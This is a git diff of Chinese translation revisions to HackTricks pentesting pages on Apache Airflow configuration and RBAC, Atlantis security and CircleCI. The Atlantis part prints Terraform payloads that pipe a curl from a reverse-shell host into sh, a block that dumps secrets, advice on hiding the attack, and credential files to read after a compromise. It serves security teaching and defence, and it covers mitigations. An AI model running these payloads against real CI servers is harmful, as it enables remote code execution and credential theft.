`airflow.composer.api.backend.composer_auth`: 使用 composer 认证 (GCP) (来自 [**这里**](https://cloud.google.com/composer/docs/access-airflow-api))。 - `composer_auth_user_registration_role`: 这表示 **composer 用户** 在 **airflow** 中将获得的 **角色**(默认是 **Op**)。 -- 您还可以使用 Python **创建自己的认证** 方法。 +- 您还可以使用 Python **创建您自己的认证** 方法。 - **`google_key_path`:** GCP 服务账户密钥的路径 ### **\[atlas]** @@ -37,8 +37,8 @@ ### \[celery] -- **`flower_basic_auth`** : 凭证 (_user1:password1,user2:password2_) -- **`result_backend`**: 可能包含 **凭证** 的 Postgres URL。 +- **`flower_basic_auth`** : 凭据 (_user1:password1,user2:password2_) +- **`result_backend`**: 可能包含 **凭据** 的 Postgres URL。 - **`ssl_cacert`**: cacert 的路径 - **`ssl_cert`**: 证书的路径 - **`ssl_key`**: 密钥的路径 @@ -63,12 +63,12 @@ ### \[logging] -- **`google_key_path`**: GCP JSON 凭证的路径。 +- **`google_key_path`**: GCP JSON 凭据的路径。 ### \[secrets] -- **`backend`**: 要启用的 secrets 后端的完整类名 -- **`backend_kwargs`**: backend_kwargs 参数被加载到字典中并传递给 secrets 后端类的 **init**。 +- **`backend`**: 要启用的秘密后端的完整类名 +- **`backend_kwargs`**: backend_kwargs 参数被加载到字典中并传递给秘密后端类的 **init**。 ### \[smtp] @@ -77,18 +77,18 @@ ### \[webserver] -- **`cookie_samesite`**: 默认是 **Lax**,因此它已经是可能的最弱值 -- **`cookie_secure`**: 在会话 cookie 上设置 **secure flag** -- **`expose_config`**: 默认是 False,如果为 true,**config** 可以从 web **console** 中 **读取** -- **`expose_stacktrace`**: 默认是 True,它将显示 **python tracebacks**(对攻击者可能有用) -- **`secret_key`**: 这是 **flask 用于签署 cookies 的密钥**(如果您拥有此密钥,您可以 **冒充 Airflow 中的任何用户**) +- **`cookie_samesite`**: 默认是 **Lax**,因此它已经是最弱的可能值 +- **`cookie_secure`**: 在会话 cookie 上设置 **安全标志** +- **`expose_config`**: 默认是 False,如果为 true,**配置** 可以从 web **控制台** **读取** +- **`expose_stacktrace`**: 默认是 True,它将显示 **python 回溯**(对攻击者可能有用) +- **`secret_key`**: 这是 **flask 用于签名 cookie 的密钥**(如果您拥有此密钥,您可以 **冒充 Airflow 中的任何用户**) - **`web_server_ssl_cert`**: **SSL** **证书** 的 **路径** - **`web_server_ssl_key`**: **SSL** **密钥** 的 **路径** - **`x_frame_enabled`**: 默认是 **True**,因此默认情况下不可能发生点击劫持 -### Web Authentication +### Web 认证 -默认情况下,**web authentication** 在文件 **`webserver_config.py`** 中指定,并配置为 +默认情况下,**web 认证** 在文件 **`webserver_config.py`** 中指定并配置为 ```bash AUTH_TYPE = AUTH_DB ``` @@ -96,7 +96,7 @@ AUTH_TYPE = AUTH_DB ```bash AUTH_TYPE = AUTH_OAUTH ``` -将**身份验证委托给第三方服务**。 +将**身份验证留给第三方服务**。 然而,还有一个选项可以**允许匿名用户访问**,将以下参数设置为**所需角色**: ```bash diff --git a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md index fd5a2b9f5..537a6bd3c 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md +++ b/src/pentesting-ci-cd/apache-airflow-security/airflow-rbac.md @@ -4,12 +4,12 @@ ## RBAC -(来自文档)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow 默认提供了一 **组角色**: **Admin**, **User**, **Op**, **Viewer**, 和 **Public**. **只有 `Admin`** 用户可以 **配置/更改其他角色的权限**. 但不建议 `Admin` 用户以任何方式更改这些默认角色,删除或添加这些角色的权限。 +(来自文档)\[https://airflow.apache.org/docs/apache-airflow/stable/security/access-control.html]: Airflow 默认提供了一组 **角色**: **Admin**, **User**, **Op**, **Viewer**, 和 **Public**。**只有 `Admin`** 用户可以 **配置/更改其他角色的权限**。但不建议 `Admin` 用户以任何方式更改这些默认角色,删除或添加这些角色的权限。 - **`Admin`** 用户拥有所有可能的权限。 - **`Public`** 用户(匿名)没有任何权限。 -- **`Viewer`** 用户拥有有限的查看权限(仅可读)。它 **无法查看配置**。 -- **`User`** 用户拥有 `Viewer` 权限以及额外的用户权限,允许他管理 DAG。 他 **可以查看配置文件**。 +- **`Viewer`** 用户拥有有限的查看权限(仅可读)。他 **无法查看配置。** +- **`User`** 用户拥有 `Viewer` 权限以及额外的用户权限,允许他管理 DAG。他 **可以查看配置文件。** - **`Op`** 用户拥有 `User` 权限以及额外的操作权限。 请注意,**admin** 用户可以 **创建更多角色**,并赋予更 **细粒度的权限**。 diff --git a/src/pentesting-ci-cd/atlantis-security.md b/src/pentesting-ci-cd/atlantis-security.md index 551a30a82..db40d8648 100644 --- a/src/pentesting-ci-cd/atlantis-security.md +++ b/src/pentesting-ci-cd/atlantis-security.md @@ -2,25 +2,25 @@ {{#include ../banners/hacktricks-training.md}} -### Basic Information +### 基本信息 -Atlantis 基本上帮助你从 git 服务器的 Pull Requests 运行 terraform。 +Atlantis 基本上帮助您从 git 服务器的 Pull Requests 运行 terraform。 ![](<../images/image (161).png>) -### Local Lab +### 本地实验室 -1. 前往 **atlantis releases page** 在 [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) 并 **下载** 适合你的版本。 -2. 创建一个 **个人令牌**(具有 repo 访问权限)你的 **github** 用户 -3. 执行 `./atlantis testdrive`,它将创建一个你可以用来 **与 atlantis 交互的 demo repo** -1. 你可以在 127.0.0.1:4141 访问网页 +1. 前往 **atlantis releases page** 在 [https://github.com/runatlantis/atlantis/releases](https://github.com/runatlantis/atlantis/releases) 并 **下载** 适合您的版本。 +2. 创建一个 **个人令牌**(具有 repo 访问权限)您的 **github** 用户。 +3. 执行 `./atlantis testdrive`,它将创建一个您可以用来 **与 atlantis 交互的 demo repo**。 +1. 您可以在 127.0.0.1:4141 访问网页。 -### Atlantis Access +### Atlantis 访问 -#### Git Server Credentials +#### Git 服务器凭据 **Atlantis** 支持多个 git 主机,如 **Github**、**Gitlab**、**Bitbucket** 和 **Azure DevOps**。\ -然而,为了访问这些平台上的 repos 并执行操作,它需要一些 **特权访问权限**(至少写权限)。\ +然而,为了访问这些平台上的 repos 并执行操作,它需要获得一些 **特权访问权限**(至少是写权限)。\ [**文档**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) 鼓励在这些平台上为 Atlantis 创建一个用户,但有些人可能会使用个人账户。 > [!WARNING] @@ -28,25 +28,25 @@ Atlantis 基本上帮助你从 git 服务器的 Pull Requests 运行 terraform #### Webhooks -Atlantis 可选地使用 [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) 来验证它从你的 Git 主机接收到的 **webhooks** 是否是 **合法的**。 +Atlantis 可选地使用 [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) 来验证它从您的 Git 主机接收的 **webhooks** 是否 **合法**。 确认这一点的一种方法是 **仅允许来自 Git 主机的 IP 的请求**,但更简单的方法是使用 Webhook Secret。 -请注意,除非你使用私有的 github 或 bitbucket 服务器,否则你需要将 webhook 端点暴露到互联网。 +请注意,除非您使用私有的 github 或 bitbucket 服务器,否则您需要将 webhook 端点暴露到互联网。 > [!WARNING] -> Atlantis 将 **暴露 webhooks**,以便 git 服务器可以向其发送信息。从攻击者的角度来看,了解 **你是否可以向其发送消息** 将是有趣的。 +> Atlantis 将 **暴露 webhooks**,以便 git 服务器可以向其发送信息。从攻击者的角度来看,了解 **您是否可以向其发送消息** 将是有趣的。 -#### Provider Credentials +#### 提供者凭据 -[来自文档:](https://www.runatlantis.io/docs/provider-credentials.html) +[来自文档:](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis 通过简单地 **在托管 Atlantis 的服务器上执行 `terraform plan` 和 `apply`** 命令来运行 Terraform。就像在本地运行 Terraform 一样,Atlantis 需要你特定提供者的凭据。 +Atlantis 通过简单地 **在托管 Atlantis 的服务器上执行 `terraform plan` 和 `apply`** 命令来运行 Terraform。就像在本地运行 Terraform 一样,Atlantis 需要您特定提供者的凭据。 -你可以选择如何 [提供凭据](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) 给 Atlantis: +您可以选择如何 [提供凭据](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) 给 Atlantis: - Atlantis [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) 和 [AWS Fargate Module](https://www.runatlantis.io/docs/deployment.html#aws-fargate) 有自己的提供者凭据机制。请阅读它们的文档。 -- 如果你在云中运行 Atlantis,那么许多云都有方法为在其上运行的应用程序提供云 API 访问权限,例如: +- 如果您在云中运行 Atlantis,那么许多云都有方法为在其上运行的应用程序提供云 API 访问权限,例如: - [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs)(搜索 "EC2 Role") - [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) - 许多用户设置环境变量,例如 `AWS_ACCESS_KEY`,在 Atlantis 运行的地方。 @@ -56,18 +56,18 @@ Atlantis 通过简单地 **在托管 Atlantis 的服务器上执行 `terraform p > [!WARNING] > **运行** **Atlantis** 的 **容器** 很可能 **包含特权凭据**,用于 Atlantis 通过 Terraform 管理的提供者(AWS、GCP、Github...)。 -#### Web Page +#### 网页 -默认情况下,Atlantis 将在 **localhost 的 4141 端口运行一个网页**。此页面仅允许你启用/禁用 atlantis apply 并检查 repos 的计划状态并解锁它们(它不允许修改内容,因此不是很有用)。 +默认情况下,Atlantis 将在本地主机的 **4141 端口运行一个网页**。此页面仅允许您启用/禁用 atlantis apply,并检查 repos 的计划状态并解锁它们(不允许修改内容,因此不是很有用)。 -你可能不会发现它暴露在互联网上,但默认情况下 **不需要凭据** 来访问它(如果需要,`atlantis`:`atlantis` 是 **默认** 的)。 +您可能不会发现它暴露在互联网上,但默认情况下 **不需要凭据** 来访问它(如果需要,`atlantis`:`atlantis` 是 **默认** 凭据)。 -### Server Configuration +### 服务器配置 对 `atlantis server` 的配置可以通过命令行标志、环境变量、配置文件或三者的混合来指定。 -- 你可以在 [**这里找到标志列表**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) 由 Atlantis 服务器支持 -- 你可以在 [**这里找到如何将配置选项转换为环境变量**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- 您可以在 [**这里找到标志列表**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) 由 Atlantis 服务器支持。 +- 您可以在 [**这里找到如何将配置选项转换为环境变量**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables)。 值的 **选择顺序** 为: @@ -76,37 +76,37 @@ Atlantis 通过简单地 **在托管 Atlantis 的服务器上执行 `terraform p 3. 配置文件 > [!WARNING] -> 请注意,在配置中你可能会发现一些有趣的值,如 **令牌和密码**。 +> 请注意,在配置中,您可能会发现一些有趣的值,例如 **令牌和密码**。 -#### Repos Configuration +#### Repos 配置 -一些配置影响 **repos 的管理方式**。然而,可能 **每个 repo 需要不同的设置**,因此有方法指定每个 repo。这是优先顺序: +某些配置会影响 **如何管理 repos**。然而,可能 **每个 repo 需要不同的设置**,因此有方法可以指定每个 repo。这是优先顺序: -1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) 文件。此文件可用于指定 atlantis 应如何处理该 repo。然而,默认情况下某些键在没有某些标志允许的情况下无法在此处指定。 -1. 可能需要通过标志如 `allowed_overrides` 或 `allow_custom_workflows` 进行允许 -2. [**Server Side Config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config):你可以通过标志 `--repo-config` 传递它,这是一个 yaml 配置每个 repo 的新设置(支持正则表达式) -3. **默认** 值 +1. Repo [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config) 文件。此文件可用于指定 atlantis 应如何处理该 repo。然而,默认情况下,某些键在没有某些标志允许的情况下无法在此处指定。 +1. 可能需要通过标志如 `allowed_overrides` 或 `allow_custom_workflows` 进行允许。 +2. [**服务器端配置**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config):您可以通过标志 `--repo-config` 传递它,这是一个 yaml 配置每个 repo 的新设置(支持正则表达式)。 +3. **默认** 值。 -**PR Protections** +**PR 保护** -Atlantis 允许指示你是否希望 **PR** 被其他人 **`批准`**(即使在分支保护中未设置)和/或在运行 apply 之前 **`可合并`**(分支保护通过)。从安全角度来看,设置这两个选项是推荐的。 +Atlantis 允许指示您是否希望 **PR** 被其他人 **`批准`**(即使在分支保护中未设置)和/或在运行 apply 之前 **`可合并`**(分支保护通过)。从安全的角度来看,设置这两个选项是推荐的。 如果 `allowed_overrides` 为 True,这些设置可以在每个项目的 `/atlantis.yml` 文件中 **被覆盖**。 -**Scripts** +**脚本** repo 配置可以 **指定脚本** 在 [**之前**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage)(_预工作流钩子_)和 [**之后**](https://www.runatlantis.io/docs/post-workflow-hooks.html)(_后工作流钩子_)执行 **工作流**。 没有任何选项允许在 **repo `/atlantis.yml`** 文件中 **指定** 这些脚本。 -**Workflow** +**工作流** -在 repo 配置(服务器端配置)中,你可以 [**指定一个新的默认工作流**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow),或 [**创建新的自定义工作流**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**。** 你还可以 **指定** 哪些 **repos** 可以 **访问** 生成的新工作流。\ -然后,你可以允许每个 repo 的 **atlantis.yaml** 文件 **指定要使用的工作流**。 +在 repo 配置(服务器端配置)中,您可以 [**指定新的默认工作流**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow),或 [**创建新的自定义工作流**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**。** 您还可以 **指定** 哪些 **repos** 可以 **访问** 生成的新工作流。\ +然后,您可以允许每个 repo 的 **atlantis.yaml** 文件 **指定要使用的工作流**。 > [!CAUTION] -> 如果 [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 标志 `allow_custom_workflows` 设置为 **True**,则可以在每个 repo 的 **`atlantis.yaml`** 文件中 **指定** 工作流。也可能需要 **`allowed_overrides`** 也指定 **`workflow`** 以 **覆盖将要使用的工作流**。\ -> 这基本上会给 **任何可以访问该 repo 的用户在 Atlantis 服务器上提供 RCE**。 +> 如果 [**服务器端配置**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 标志 `allow_custom_workflows` 设置为 **True**,则可以在每个 repo 的 **`atlantis.yaml`** 文件中 **指定** 工作流。也可能需要 **`allowed_overrides`** 也指定 **`workflow`** 以 **覆盖将要使用的工作流**。\ +> 这将基本上给 **任何可以访问该 repo 的用户在 Atlantis 服务器中提供 RCE**。 > > ```yaml > # atlantis.yaml @@ -124,7 +124,7 @@ repo 配置可以 **指定脚本** 在 [**之前**](https://www.runatlantis.io/d > steps: - run: my custom apply command > ``` -**Conftest Policy Checking** +**Conftest 策略检查** Atlantis 支持在计划输出上运行 **服务器端** [**conftest**](https://www.conftest.dev/) **策略**。使用此步骤的常见用例包括: @@ -133,11 +133,11 @@ Atlantis 支持在计划输出上运行 **服务器端** [**conftest**](https:// - 捕获无意的资源删除 - 防止安全风险(即将安全端口暴露给公众) -你可以在 [**文档中**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) 查看如何配置它。 +您可以在 [**文档中**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works) 查看如何配置它。 -### Atlantis Commands +### Atlantis 命令 -[**在文档中**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) 你可以找到运行 Atlantis 的选项: +[**在文档中**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) 您可以找到运行 Atlantis 的选项: ```bash # Get help atlantis help @@ -170,11 +170,11 @@ atlantis apply [options] -- [terraform apply flags] atlantis unlock #You might need to run this in a different PR atlantis plan -- -lock=false ``` -#### Atlantis plan RCE - 在新PR中修改配置 +#### Atlantis plan RCE - 在新 PR 中修改配置 -如果您对一个仓库具有写入权限,您将能够在其上创建一个新分支并生成一个PR。如果您可以**执行 `atlantis plan`**(或者可能是自动执行的)**您将能够在Atlantis服务器内部进行RCE**。 +如果您对一个仓库具有写入权限,您将能够在其上创建一个新分支并生成一个 PR。如果您可以 **执行 `atlantis plan`**(或者可能是自动执行的) **您将能够在 Atlantis 服务器内部进行 RCE**。 -您可以通过让[**Atlantis加载外部数据源**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source)来做到这一点。只需在`main.tf`文件中放入如下有效负载: +您可以通过让 [**Atlantis 加载外部数据源**](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) 来做到这一点。只需在 `main.tf` 文件中放入如下有效负载: ```json data "external" "example" { program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] @@ -184,7 +184,7 @@ program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh" 您可以通过遵循以下建议以**更隐蔽的方式**执行此攻击: -- 不要直接将反向 shell 添加到 terraform 文件中,您可以**加载一个外部资源**,该资源包含反向 shell: +- 不要直接将反向 shell 添加到 terraform 文件中,您可以**加载一个包含反向 shell 的外部资源**: ```javascript module "not_rev_shell" { source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" @@ -192,12 +192,12 @@ source = "git@github.com:carlospolop/terraform_external_module_rev_shell//module ``` 您可以在 [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) 找到 rev shell 代码。 -- 在外部资源中,使用 **ref** 功能来隐藏 **repo 中分支的 terraform rev shell 代码**,类似于:`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- 在外部资源中,使用 **ref** 功能来隐藏 **repo 中一个分支的 terraform rev shell 代码**,类似于:`git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` - **而不是** 创建一个 **PR 到 master** 来触发 Atlantis,**创建 2 个分支**(test1 和 test2),并从一个分支创建一个 **PR 到另一个分支**。当您完成攻击后,只需 **删除 PR 和分支**。 #### Atlantis 计划秘密转储 -您可以通过在 terraform 文件中放置类似以下内容来 **转储 terraform 使用的秘密**,运行 `atlantis plan`(`terraform plan`): +您可以通过在 terraform 文件中放置类似的内容来 **转储 terraform 使用的秘密**,运行 `atlantis plan` (`terraform plan`): ```json output "dotoken" { value = nonsensitive(var.do_token) @@ -211,11 +211,11 @@ value = nonsensitive(var.do_token) - **可合并**:如果在Atlantis中设置了此保护,您只能在**PR可合并时运行 `atlantis apply`**(这意味着需要绕过分支保护)。 - 检查潜在的[**分支保护绕过**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -- **已批准**:如果在Atlantis中设置了此保护,**其他用户必须批准PR**,您才能运行 `atlantis apply` +- **已批准**:如果在Atlantis中设置了此保护,某个**其他用户必须批准PR**,您才能运行 `atlantis apply` - 默认情况下,您可以滥用[**Gitbot令牌来绕过此保护**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) -在恶意Terraform文件上运行**`terraform apply`,使用**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**。**\ -您只需确保一些有效载荷,如以下内容,结束在 `main.tf` 文件中: +在恶意Terraform文件上运行**`terraform apply`,使用**[**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ +您只需确保一些有效载荷像以下内容结束于 `main.tf` 文件中: ```json // Payload 1 to just steal a secret resource "null_resource" "secret_stealer" { @@ -231,11 +231,11 @@ command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'" } } ``` -遵循**前一种技术的建议**以更**隐蔽的方式**执行此攻击。 +遵循**前一种技术的建议**以**更隐蔽的方式**执行此攻击。 #### Terraform 参数注入 -当运行 `atlantis plan` 或 `atlantis apply` 时,terraform 在后台运行,您可以通过在 atlantis 中评论类似的内容来向 terraform 传递命令: +当运行 `atlantis plan` 或 `atlantis apply` 时,terraform 在后台运行,您可以通过在 atlantis 中评论类似的内容来传递命令给 terraform: ```bash atlantis plan -- atlantis plan -- -h #Get terraform plan help @@ -243,12 +243,12 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -可以传递的内容是环境变量,这可能有助于绕过某些保护。请查看 terraform 环境变量在 [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +可以传递的内容是环境变量,这可能有助于绕过某些保护。查看 terraform 环境变量在 [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) #### 自定义工作流 -运行在 `atlantis.yaml` 文件中指定的 **恶意自定义构建命令**。Atlantis 使用来自拉取请求分支的 `atlantis.yaml` 文件,**而不是** `master`。\ -这个可能性在前面的部分中提到过: +运行在 `atlantis.yaml` 文件中指定的 **恶意自定义构建命令**。Atlantis 使用来自拉取请求分支的 `atlantis.yaml` 文件,而不是 `master`。\ +这一可能性在前面的部分中提到过: > [!CAUTION] > 如果 [**服务器端配置**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) 标志 `allow_custom_workflows` 设置为 **True**,则可以在每个仓库的 **`atlantis.yaml`** 文件中 **指定** 工作流。还可能需要 **`allowed_overrides`** 也指定 **`workflow`** 以 **覆盖将要使用的工作流**。 @@ -280,7 +280,7 @@ repos: - id: /.*/ apply_requirements: [] ``` -#### PR Hijacking +#### PR 劫持 如果有人在您的有效拉取请求上发送 **`atlantis plan/apply`** 评论,这将导致 terraform 在您不希望它运行时执行。 @@ -290,19 +290,19 @@ apply_requirements: [] ![](<../images/image (216).png>) -#### Webhook Secret +#### Webhook 密钥 -如果您设法 **窃取 webhook secret** 或者 **没有使用任何 webhook secret**,您可以 **调用 Atlantis webhook** 并 **直接调用 atlantis 命令**。 +如果您设法 **窃取了 webhook 密钥** 或者 **没有使用任何 webhook 密钥**,您可以 **调用 Atlantis webhook** 并 **直接调用 atlantis 命令**。 #### Bitbucket -Bitbucket Cloud **不支持 webhook secrets**。这可能允许攻击者 **伪造来自 Bitbucket 的请求**。确保您只允许 Bitbucket 的 IP。 +Bitbucket Cloud **不支持 webhook 密钥**。这可能允许攻击者 **伪造来自 Bitbucket 的请求**。确保您只允许 Bitbucket IP。 - 这意味着 **攻击者** 可以向 **Atlantis** 发出看似来自 Bitbucket 的 **虚假请求**。 - 如果您指定了 `--repo-allowlist`,那么他们只能伪造与那些仓库相关的请求,因此他们能造成的最大损害就是在您自己的仓库上进行计划/应用。 -- 为了防止这种情况,请允许 [Bitbucket 的 IP 地址](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)(请参见出站 IPv4 地址)。 +- 为了防止这种情况,允许列入白名单 [Bitbucket 的 IP 地址](https://confluence.atlassian.com/bitbucket/what-are-the-bitbucket-cloud-ip-addresses-i-should-use-to-configure-my-corporate-firewall-343343385.html)(请参见出站 IPv4 地址)。 -### Post-Exploitation +### 后期利用 如果您设法访问了服务器,或者至少获得了 LFI,有一些有趣的内容您应该尝试读取: @@ -313,58 +313,58 @@ Bitbucket Cloud **不支持 webhook secrets**。这可能允许攻击者 **伪 - `/proc/1/environ` 环境变量 - `/proc/[2-20]/cmdline` `atlantis server` 的命令行(可能包含敏感数据) -### Mitigations +### 缓解措施 -#### Don't Use On Public Repos +#### 不要在公共仓库上使用 因为任何人都可以在公共拉取请求上评论,即使有所有可用的安全缓解措施,在没有适当配置安全设置的情况下,在公共仓库上运行 Atlantis 仍然是危险的。 -#### Don't Use `--allow-fork-prs` +#### 不要使用 `--allow-fork-prs` 如果您在公共仓库上运行(不推荐,见上文),您不应该设置 `--allow-fork-prs`(默认为 false),因为任何人都可以从他们的分叉向您的仓库打开拉取请求。 #### `--repo-allowlist` -Atlantis 要求您通过 `--repo-allowlist` 标志指定一个允许列表,接受来自该列表的 webhook。例如: +Atlantis 要求您通过 `--repo-allowlist` 标志指定一个允许列表,接受来自的 webhook。例如: - 特定仓库:`--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests` - 您的整个组织:`--repo-allowlist=github.com/runatlantis/*` - 您的 GitHub 企业安装中的每个仓库:`--repo-allowlist=github.yourcompany.com/*` -- 所有仓库:`--repo-allowlist=*`。在受保护的网络中使用时很有用,但如果没有设置 webhook secret 则很危险。 +- 所有仓库:`--repo-allowlist=*`。在受保护的网络中时很有用,但在没有设置 webhook 密钥的情况下是危险的。 此标志确保您的 Atlantis 安装不会与您不控制的仓库一起使用。有关更多详细信息,请参见 `atlantis server --help`。 -#### Protect Terraform Planning +#### 保护 Terraform 计划 -如果攻击者提交带有恶意 Terraform 代码的拉取请求在您的威胁模型中,那么您必须意识到 `terraform apply` 的批准是不够的。可以使用 [`external` 数据源](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) 或通过指定恶意提供程序在 `terraform plan` 中运行恶意代码。然后,这段代码可能会窃取您的凭据。 +如果攻击者提交带有恶意 Terraform 代码的拉取请求在您的威胁模型中,那么您必须意识到 `terraform apply` 批准是不够的。可以使用 [`external` 数据源](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) 或通过指定恶意提供程序在 `terraform plan` 中运行恶意代码。然后,这段代码可能会窃取您的凭据。 为了防止这种情况,您可以: 1. 将提供程序打包到 Atlantis 镜像中或托管并在生产中拒绝出站。 2. 在内部实现提供程序注册协议并拒绝公共出站,这样您可以控制谁有写入注册表的权限。 -3. 修改您的 [服务器端仓库配置](https://www.runatlantis.io/docs/server-side-repo-config.html) 的 `plan` 步骤,以验证不允许的提供程序或数据源的使用或不允许用户的 PR。您还可以在此时添加额外的验证,例如在允许 `plan` 继续之前要求 PR 上的“点赞”。Conftest 在这里可能会有用。 +3. 修改您的 [服务器端仓库配置](https://www.runatlantis.io/docs/server-side-repo-config.html) 的 `plan` 步骤,以验证不允许的提供程序或数据源或不允许用户的 PR 的使用。您还可以在此时添加额外的验证,例如在允许 `plan` 继续之前要求 PR 上有“点赞”。Conftest 在这里可能会有用。 -#### Webhook Secrets +#### Webhook 密钥 -Atlantis 应该通过 `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` 环境变量设置 webhook secrets。即使设置了 `--repo-allowlist` 标志,如果没有 webhook secret,攻击者也可以伪装成允许列表中的仓库向 Atlantis 发出请求。Webhook secrets 确保 webhook 请求实际上来自您的 VCS 提供商(GitHub 或 GitLab)。 +Atlantis 应该通过 `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET` 环境变量设置 webhook 密钥。即使设置了 `--repo-allowlist` 标志,如果没有 webhook 密钥,攻击者也可以伪装成允许列表中的仓库向 Atlantis 发出请求。Webhook 密钥确保 webhook 请求确实来自您的 VCS 提供商(GitHub 或 GitLab)。 -如果您使用 Azure DevOps,请添加基本用户名和密码,而不是 webhook secrets。 +如果您使用 Azure DevOps,请添加基本用户名和密码,而不是 webhook 密钥。 -#### Azure DevOps Basic Authentication +#### Azure DevOps 基本身份验证 Azure DevOps 支持在所有 webhook 事件中发送基本身份验证头。这需要为您的 webhook 位置使用 HTTPS URL。 #### SSL/HTTPS -如果您使用 webhook secrets,但您的流量是通过 HTTP,那么 webhook secrets 可能会被窃取。使用 `--ssl-cert-file` 和 `--ssl-key-file` 标志启用 SSL/HTTPS。 +如果您使用 webhook 密钥,但您的流量是通过 HTTP,则 webhook 密钥可能会被窃取。使用 `--ssl-cert-file` 和 `--ssl-key-file` 标志启用 SSL/HTTPS。 -#### Enable Authentication on Atlantis Web Server +#### 在 Atlantis Web 服务器上启用身份验证 强烈建议在 Web 服务中启用身份验证。使用 `--web-basic-auth=true` 启用 BasicAuth,并使用 `--web-username=yourUsername` 和 `--web-password=yourPassword` 标志设置用户名和密码。 您还可以将这些作为环境变量传递 `ATLANTIS_WEB_BASIC_AUTH=true` `ATLANTIS_WEB_USERNAME=yourUsername` 和 `ATLANTIS_WEB_PASSWORD=yourPassword`。 -### References +### 参考 - [**https://www.runatlantis.io/docs**](https://www.runatlantis.io/docs) - [**https://www.runatlantis.io/docs/provider-credentials.html**](https://www.runatlantis.io/docs/provider-credentials.html) diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index 4320ea6d3..3f591ae60 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -4,18 +4,18 @@ ### 基本信息 -[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) 是一个持续集成平台,您可以在其中**定义模板**,指示您希望它对某些代码做什么以及何时执行。通过这种方式,您可以**自动化测试**或**部署**,例如直接**从您的代码库主分支**进行。 +[**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) 是一个持续集成平台,您可以在其中**定义模板**,指示您希望它对某些代码做什么以及何时执行。通过这种方式,您可以**自动化测试**或**部署**,例如直接**从您的代码库主分支**。 ### 权限 **CircleCI** **继承了**与登录的**账户**相关的github和bitbucket的权限。\ -在我的测试中,我检查到,只要您在github上对代码库拥有**写权限**,您就能够**管理CircleCI中的项目设置**(设置新的ssh密钥,获取项目api密钥,使用新的CircleCI配置创建新分支...)。 